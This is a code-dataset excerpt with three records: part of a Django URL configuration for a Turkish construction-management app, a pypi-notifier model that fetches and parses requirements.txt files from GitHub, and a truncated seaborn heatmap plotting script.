name='takip'),\n    path('belge/giden', views.belge_giden, name='takip'),\n    path('belge/gelen', views.belge_gelen, name='takip'),\n    path('belge/yukle', views.belge_yukle, name='takip'),\n    path('belge/yukle/dosyasil/<int:id>', views.belge_yukle_dosya_sil, name='takip'),\n    path('belge/yukle/tek/<int:id>', views.belge_yukle_tek, name='takip'),\n\n    path('binakontrol/kayitlar', views.binakontrol_kayitlar, name='takip'),\n    path('binakontrol/ekle', views.binakontrol_ekle, name='takip'),\n    path('binakontrol/eklefuc', views.binakontrol_ekle_fuc, name='takip'),\n    path('binakontrol/duzenle/<int:id>', views.binakontrol_duzenle, name='takip'),\n    path('binakontrol/duzenlefuc/<int:id>', views.binakontrol_duzenle_fuc, name='takip'),\n    path('binakontrol/silfuc/<int:id>', views.binakontrol_sil_fuc, name='takip'),\n    path('binakontrol/dosyasilfuc/<int:id>', views.binakontrol_dosya_sil_fuc, name='takip'),\n\n    path('kullanicilar/liste', views.kullanicilar_liste, name='takip'),\n    path('kullanicilar/ekle', views.kullanicilar_ekle, name='takip'),\n    path('kullanicilar/eklefuc', views.kullanicilar_ekle_fuc, name='takip'),\n    path('kullanicilar/duzenle/<int:id>', views.kullanicilar_duzenle, name='takip'),\n    path('kullanicilar/duzenlefuc/<int:id>', views.kullanicilar_duzenle_fuc, name='takip'),\n    path('kullanicilar/profil', views.profil, name='takip'),\n    path('kullanicilar/profilfuc/<int:id>', views.profil_fuc, name='takip'),\n\n    path('maliyet/projeler', views.maliyet_projeler, name='takip'),\n    path('maliyet/projeler/eklefuc', views.maliyet_projeler_ekle_fuc, name='takip'),\n    path('maliyet/projeler/duzenlefuc', views.maliyet_projeler_duzenle_fuc, name='takip'),\n    path('maliyet/projeler/<int:pid>/kategoriler', views.maliyet_projeler_kategori, name='takip'),\n    path('maliyet/projeler/<int:pid>/kategoriler/eklefuc', views.maliyet_projeler_kategori_eklefuc, name='takip'),\n    path('maliyet/projeler/<int:pid>/kategoriler/duzenlefuc', views.maliyet_projeler_kategori_duzenlefuc, name='takip'),\n    path('maliyet/projeler/<int:pid>/kategoriler/<int:katid>', views.maliyet_projeler_kategori_katid, name='takip'),\n    path('maliyet/projeler/<int:pid>/kategoriler/<int:katid>/maddeeklefuc', views.maliyet_projeler_kategori_katid_maddeekle_fuc, name='takip'),\n    path('maliyet/projeler/<int:pid>/kategoriler/<int:katid>/maddesilfuc', views.maliyet_projeler_kategori_katid_maddesil_fuc, name='takip'),\n    path('maliyet/projeler/<int:pid>/kategoriler/<int:katid>/kayit/<int:maddeid>', views.maliyet_projeler_kategori_katid_maddeid_ekle, name='takip'),\n    path('maliyet/projeler/<int:pid>/kategoriler/kayitsil/<int:kayitid>', views.maliyet_projeler_kategori_katid_maddeid_sil, name='takip'),\n\n\n\n#rapor\n    path('satis/raporolustur', views.satis_rapor_olustur, name='satis-portfoy'),\n    path('satis/rapor/ajaxblok', views.satis_rapor_olustur_ajax_blok, name='satis-portfoy'),\n    path('satis/rapor', views.satis_rapor, name='satis-portfoy'),\n\n    path('portfoy/raporolustur', views.portfoy_rapor_olustur, name='satis-portfoy'),\n    path('portfoy/rapor', views.portfoy_rapor, name='satis-portfoy'),\n\n    path('santiyeler/raporolustur', views.santiyeler_rapor_olustur, name='satis-portfoy'),\n    path('santiyeler/rapor', views.santiyeler_rapor, name='satis-portfoy'),\n    path('santiyeler/rapor/ajaxtedarik', views.santiyeler_rapor_ajax_tedarik, name='satis-portfoy'),\n    path('santiyeler/rapor/ajaxmalzeme', views.santiyeler_rapor_ajax_malzeme, name='satis-portfoy'),\n\n    path('takip/raporolustur', views.takip_rapor_olustur, name='satis-portfoy'),\n    path('takip/rapor', views.takip_rapor, name='satis-portfoy'),\n\n    path('abonelik/raporolustur', views.abonelik_rapor_olustur, name='satis-portfoy'),\n    path('abonelik/rapor', views.abonelik_rapor, name='satis-portfoy'),\n\n    path('halklailiskiler/raporolustur', views.halklailiskiler_rapor_olustur, name='satis-portfoy'),\n    path('halklailiskiler/rapor', views.halklailiskiler_rapor, name='satis-portfoy'),\n\n    path('belge/raporolustur', views.belge_rapor_olustur, name='satis-portfoy'),\n    path('belge/rapor', views.belge_rapor, name='satis-portfoy'),\n\n\n    path('test', views.test, name='test'),\n    #path('satis/projeler/duzenle', views.satis_projeler_duzenle, name='satis-projeler-duzenle'),\n    \n]+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)", "repo_name": "Mustafaseyhanhh/django-insaatdb", "sub_path": "insaatWeb/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 13546, "program_lang": "python", "lang": "tr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 42, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 43, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 44, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 45, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 47, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 48, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 49, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 50, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 52, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 53, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 54, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 56, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 57, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 58, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 59, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 60, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 61, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 62, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 63, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 64, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 65, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 66, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 67, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 68, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 70, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 71, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 72, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 73, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 74, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 75, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 76, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 77, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 78, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 79, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 80, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 81, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 82, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 83, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 84, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 85, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 86, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 87, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 88, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 89, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 91, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 92, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 93, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 94, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 95, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 96, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 97, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 98, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 99, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 101, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 102, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 103, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 104, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 105, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 106, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 108, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 109, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 110, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 111, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 112, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 113, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 114, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 115, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 116, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 117, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 118, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 120, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 121, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 122, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 123, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 124, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 125, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 126, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 128, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 129, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 130, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 131, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 132, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 133, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 134, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 136, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 137, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 138, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 139, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 140, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 141, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 142, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 143, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 144, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 145, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 146, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 151, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 152, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 153, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 155, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 156, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 158, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 159, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 160, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 161, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 163, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 164, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 166, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 167, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 169, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 170, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 172, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 173, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 176, "usage_type": "call"}, {"api_name": "django.conf.urls.static.static", "line_number": 179, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 179, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 179, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 179, "usage_type": "attribute"}]}
{"seq_id": "10743961796", "text": "import base64\nimport logging\nfrom datetime import datetime\nfrom pkg_resources import parse_requirements, RequirementParseError\nfrom sqlalchemy import UniqueConstraint\nfrom sqlalchemy.ext.associationproxy import association_proxy\nfrom pypi_notifier.extensions import db, github\nfrom pypi_notifier.models.user import User\nfrom pypi_notifier.models.package import Package\nfrom pypi_notifier.models.util import commit_or_rollback\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass RequirementsNotModified(Exception):\n    pass\n\n\nclass RequirementsNotFound(Exception):\n    pass\n\n\nclass InvalidToken(Exception):\n    pass\n\n\nclass Repo(db.Model):\n    __tablename__ = 'repos'\n    __table_args__ = (\n        UniqueConstraint('user_id', 'github_id'),\n    )\n\n    id = db.Column(db.Integer, primary_key=True)\n    user_id = db.Column(db.Integer, db.ForeignKey(User.id))\n    github_id = db.Column(db.Integer)\n    name = db.Column(db.String(200))\n    requirements_path = db.Column(db.String(2000))\n    last_check = db.Column(db.DateTime)\n    last_modified = db.Column(db.String(40))\n\n    packages = association_proxy('requirements', 'package')\n\n    def __init__(self, github_id, user):\n        self.github_id = github_id\n        self.user = user\n\n    def __repr__(self):\n        return \"<Repo %s>\" % self.name\n\n    @property\n    def url(self):\n        return \"https://github.com/%s\" % self.name\n\n    @classmethod\n    def update_all_repos(cls):\n        repos = cls.query.all()\n        for repo in repos:\n            with commit_or_rollback():\n                if not repo.user:\n                    db.session.delete(repo)\n                    continue\n\n                repo.update_requirements()\n\n    def update_requirements(self, force=False):\n        \"\"\"\n        Fetches the content of the requirements.txt files from GitHub,\n        parses the file and adds each requirement to the repo.\n\n        \"\"\"\n        self._update_requirements(force=force)\n        self.last_check = datetime.utcnow()\n\n    def _update_requirements(self, force=False):\n        try:\n            content = self.fetch_requirements(force=force)\n        except RequirementsNotModified:\n            logger.info(\"requirements.txt file not modified\")\n            return\n        except RequirementsNotFound:\n            logger.info(\"requirements.txt file not found\")\n            self.requirements.clear()\n            return\n        except InvalidToken:\n            logger.info(\"invalid token, deleting user: %s\", self.user.name)\n            db.session.delete(self.user)\n            return\n\n        try:\n            requirements = Repo.parse_requirements_file(content)\n        except RequirementParseError as e:\n            logger.warning(\"parsing error for %s: %s\", self.name, e)\n            self.requirements.clear()\n            return\n\n        tracked_packages = set()\n        for package_name, specs in requirements:\n            # specs may be empty list if no version is specified in file\n            # No need to add to table since we can't check updates.\n            if specs:\n                # There must be '==' operator in specs.\n                operators = [s[0] for s in specs]\n                if '==' in operators:\n                    package_name = package_name.lower()\n                    # If the project is not registered on PyPI,\n                    # we are not adding it.\n                    if package_name in Package.get_all_names():\n                        tracked_packages.add(package_name)\n                        self.add_new_requirement(package_name, specs)\n\n        # Delete removed requirements\n        for req in list(self.requirements):\n            if req.package.name not in tracked_packages:\n                self.requirements.remove(req)\n\n    def add_new_requirement(self, name, specs):\n        from pypi_notifier.models.requirement import Requirement\n        package = db.session.query(Package).filter(Package.name == name).first()\n        if not package:\n            package = Package(name=name)\n            db.session.add(package)\n            db.session.flush([package])\n\n        requirement = db.session.query(Requirement).filter(\n                Requirement.repo_id == self.id,\n                Requirement.package_id == package.id).first()\n        if not requirement:\n            requirement = Requirement(repo=self, package=package)\n\n        requirement.specs = specs\n        self.requirements.append = requirement\n\n    @staticmethod\n    def parse_requirements_file(contents):\n        contents = strip_requirements(contents)\n        if not contents:\n            return []\n\n        for req in parse_requirements(contents):\n            yield req.project_name.lower(), req.specs\n\n    def fetch_requirements(self, force=False):\n        logger.info(\"Fetching requirements of repo: %s\", self)\n        requirements_path = self.requirements_path or 'requirements.txt'\n        path = 'repos/%s/contents/%s' % (self.name, requirements_path.lstrip('/'))\n        headers = None\n        if not force and self.last_modified:\n            headers = {'If-Modified-Since': self.last_modified}\n\n        response = github.raw_request('GET', path, headers=headers, access_token=self.user.github_token)\n        logger.debug(\"Response: %s\", response)\n        if response.status_code == 200:\n            self.last_modified = response.headers['Last-Modified']\n            response = response.json()\n            if isinstance(response, list):  # path is directory\n                raise RequirementsNotFound\n            if response['encoding'] != 'base64':\n                raise ValueError(\"Unknown encoding: %s\" % response['encoding'])\n\n            return base64.b64decode(response['content']).decode('utf-8', 'replace')\n        elif response.status_code == 304:  # Not modified\n            raise RequirementsNotModified\n        elif response.status_code == 401:\n            raise InvalidToken\n        elif response.status_code == 404:\n            raise RequirementsNotFound\n\n        raise Exception(\"Unknown status code: %s\" % response.status_code)\n\n\ndef strip_requirements(s):\n    \"\"\"\n    Cleans up requirements.txt contents and returns as new str.\n\n    pkg_resources.parse_requirements() cannot parse the file if it contains\n    an option for index URL.\n        Example: \"-i http://simple.crate.io/\"\n\n    Also it cannot parse the repository URLs.\n        Example: git+https://github.com/pythonforfacebook/facebook-sdk.git\n\n    \"\"\"\n    ignore_lines = (\n        '-e',  # editable\n        '-i', '--index-url',  # other source\n        'git+', 'svn+', 'hg+', 'bzr+',  # vcs\n        '-r',  # include other files (not supported yet) TODO\n    )\n    return '\\n'.join(l for l in s.splitlines() if not l.strip().startswith(ignore_lines))\n", "repo_name": "cenkalti/pypi-notifier", "sub_path": "pypi_notifier/models/repo.py", "file_name": "repo.py", "file_ext": "py", "file_size_in_byte": 6685, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 98, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.Model", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 28, "usage_type": "name"}, {"api_name": "sqlalchemy.UniqueConstraint", "line_number": 31, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.Column", "line_number": 34, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 34, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.Integer", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db.Column", "line_number": 35, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 35, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.Integer", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db.ForeignKey", "line_number": 35, "usage_type": "call"}, {"api_name": "pypi_notifier.models.user.User.id", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pypi_notifier.models.user.User", "line_number": 35, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.Column", "line_number": 36, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 36, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.Integer", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db.Column", "line_number": 37, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 37, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.String", "line_number": 37, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 38, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.String", "line_number": 38, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.Column", "line_number": 39, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 39, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.DateTime", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db.Column", "line_number": 40, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 40, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.String", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.associationproxy.association_proxy", "line_number": 42, "usage_type": "call"}, {"api_name": "pypi_notifier.models.util.commit_or_rollback", "line_number": 59, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.session.delete", "line_number": 61, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.session", "line_number": 61, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 61, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 73, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.session.delete", "line_number": 87, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.session", "line_number": 87, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 87, "usage_type": "name"}, {"api_name": "pkg_resources.RequirementParseError", "line_number": 92, "usage_type": "name"}, {"api_name": "pypi_notifier.models.package.Package.get_all_names", "line_number": 108, "usage_type": "call"}, {"api_name": "pypi_notifier.models.package.Package", "line_number": 108, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.session.query", "line_number": 119, "usage_type": "call"}, {"api_name": "pypi_notifier.models.package.Package", "line_number": 119, "usage_type": "argument"}, {"api_name": "pypi_notifier.extensions.db.session", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 119, "usage_type": "name"}, {"api_name": "pypi_notifier.models.package.Package.name", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pypi_notifier.models.package.Package", "line_number": 121, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.session.add", "line_number": 122, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.session", "line_number": 122, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 122, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.session.flush", "line_number": 123, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.session", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 123, "usage_type": "name"}, {"api_name": "pypi_notifier.extensions.db.session.query", "line_number": 125, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.db.session", "line_number": 125, "usage_type": "attribute"}, {"api_name": "pypi_notifier.extensions.db", "line_number": 125, "usage_type": "name"}, {"api_name": "pypi_notifier.models.requirement.Requirement", "line_number": 125, "usage_type": "name"}, {"api_name": "pypi_notifier.models.requirement.Requirement.repo_id", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pypi_notifier.models.requirement.Requirement", "line_number": 126, "usage_type": "name"}, {"api_name": "pypi_notifier.models.requirement.Requirement.package_id", "line_number": 127, "usage_type": "attribute"}, {"api_name": "pypi_notifier.models.requirement.Requirement", "line_number": 127, "usage_type": "name"}, {"api_name": "pypi_notifier.models.requirement.Requirement", "line_number": 129, "usage_type": "call"}, {"api_name": "pkg_resources.parse_requirements", "line_number": 140, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.github.raw_request", "line_number": 151, "usage_type": "call"}, {"api_name": "pypi_notifier.extensions.github", "line_number": 151, "usage_type": "name"}, {"api_name": "base64.b64decode", "line_number": 161, "usage_type": "call"}]}
{"seq_id": "3499576375", "text": "import matplotlib as mpl\n#mpl.rcParams['font.size'] = 20\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom scipy.stats import linregress\nimport pickle\nfrom matplotlib import rc\nimport pandas as pd\n\n\nstimulus_range_s = [400, 450, 500, 550, 600, 650, 700]\nstimulus_range_l = [700, 750, 800, 850, 900, 950, 1000]\n\nstimulus_lst_short = np.loadtxt('stimlst_short_400_700_7_a.txt', dtype=int)\nstimulus_lst_long = np.loadtxt('stimlst_long_700_1000_7_a.txt', dtype=int)\n\ntitle1 = 'short range'\ntitle2 = 'long range'\n'''title1 = 'mid range'\ntitle2 = 'all range'\ntitle1 = 'few short range'\ntitle2 = 'few all range'\ntitle1 = 'long range'\ntitle2 = 'extra long range'''\n\ndef load_data(short_path, long_path):\n    short_data = []\n    long_data = []\n    with open(short_path, 'rb') as short:\n        with open(long_path, 'rb') as long:\n            try:\n                while True:\n                    short_data.append(pickle.load(short))\n                    long_data.append(pickle.load(long))\n            except EOFError:\n                pass\n    return short_data, long_data\n\n\n\n# p = K, th, tau, delay\ndef to_matrix(result_lst, p1, p2, result):\n    matrix = np.zeros((p1,p2))\n    for i in range(len(result_lst)):\n        matrix.flat[i] = result_lst[i][result]\n    return matrix\n\n\n\ndef create_parameter_plot(short, long, shortlong, p1, p1_lst, p2, p2_lst, cmap, n_colors=20, norm=False):\n    cmap = sns.color_palette(cmap, n_colors=n_colors)\n    minmin = np.min([np.nanmin(short), np.nanmin(long), np.nanmin(shortlong)])\n    maxmax = np.max([np.nanmax(short), np.nanmax(long), np.nanmax(shortlong)])\n    print(minmin, maxmax)\n    \n    fig, ax = plt.subplots(1,3, figsize=(15,4), sharex=True, sharey=True)\n    if norm == 'log':\n        norm = matplotlib.colors.LogNorm(vmin=minmin, vmax=maxmax)\n        \n    if not norm:\n        h1 = sns.heatmap(short, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[0], cmap = cmap, cbar=True,  vmin=minmin, vmax=maxmax)\n        h2 = sns.heatmap(long, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[1], cmap = cmap, cbar=True,  vmin=minmin, vmax=maxmax)\n        h3 = sns.heatmap(shortlong, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[2],  cmap = cmap, cbar_ax= cbar_ax,vmin=minmin, vmax=maxmax) #cbar_ax= cbar_ax,\n    else:\n        cbar_ax = fig.add_axes([.91, .25, .01, .5]) #x, y, breite, höhe\n        h1 = sns.heatmap(short, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[0], cmap = cmap, cbar=False,  vmin=minmin, vmax=maxmax, norm=norm)\n        h2 = sns.heatmap(long, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[1], cmap = cmap, cbar=False,  vmin=minmin, vmax=maxmax, norm=norm)\n        h3 = sns.heatmap(shortlong, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[2],  cmap = cmap, cbar_ax= cbar_ax, vmin=minmin, vmax=maxmax, norm=norm)\n    \n    h1.set_xlabel(p2)\n    h1.set_ylabel(p1)\n    h1.set_title(title1, fontsize=11)\n\n    h2.set_xlabel(p2)\n    h2.set_title(title2, fontsize=11)\n\n    h3.set_xlabel(p2)\n    h3.set_title('short~long', fontsize=11)\n    \n    plt.show()\n    \n    \n    \ndef figure_create_parameter_plot(short, long, shortlong, p1, p1_lst, p2, p2_lst, cmap, n_colors=20, norm=False):\n    cmap = sns.color_palette(cmap, n_colors=n_colors)\n    minmin = np.min([np.nanmin(short), np.nanmin(long), np.nanmin(shortlong)])\n    maxmax = np.max([np.nanmax(short), np.nanmax(long), np.nanmax(shortlong)])\n    print(minmin, maxmax)\n    \n    fig, ax = plt.subplots(1,2, figsize=(4,1.6), sharex=True, sharey=True)\n    if norm == 'log':\n        norm = mpl.colors.LogNorm(vmin=minmin, vmax=maxmax)\n        \n    if not norm:\n        h1 = sns.heatmap(short, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[0], cmap = cmap, cbar=True,  vmin=minmin, vmax=maxmax)\n        h2 = sns.heatmap(long, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[1], cmap = cmap, cbar=True,  vmin=minmin, vmax=maxmax)\n        \n    else:\n        cbar_ax = fig.add_axes([.91, 0.2, .02, .6]) #x, y, breite, höhe\n        h1 = sns.heatmap(short, xticklabels=p2_lst, yticklabels=p1_lst, \n                         ax=ax[0], cmap = cmap, vmin=minmin, vmax=maxmax, norm=norm, cbar=False)\n        h2 = sns.heatmap(long, xticklabels=p2_lst, yticklabels=p1_lst, \n                         ax=ax[1], cmap = cmap, cbar_ax= cbar_ax, 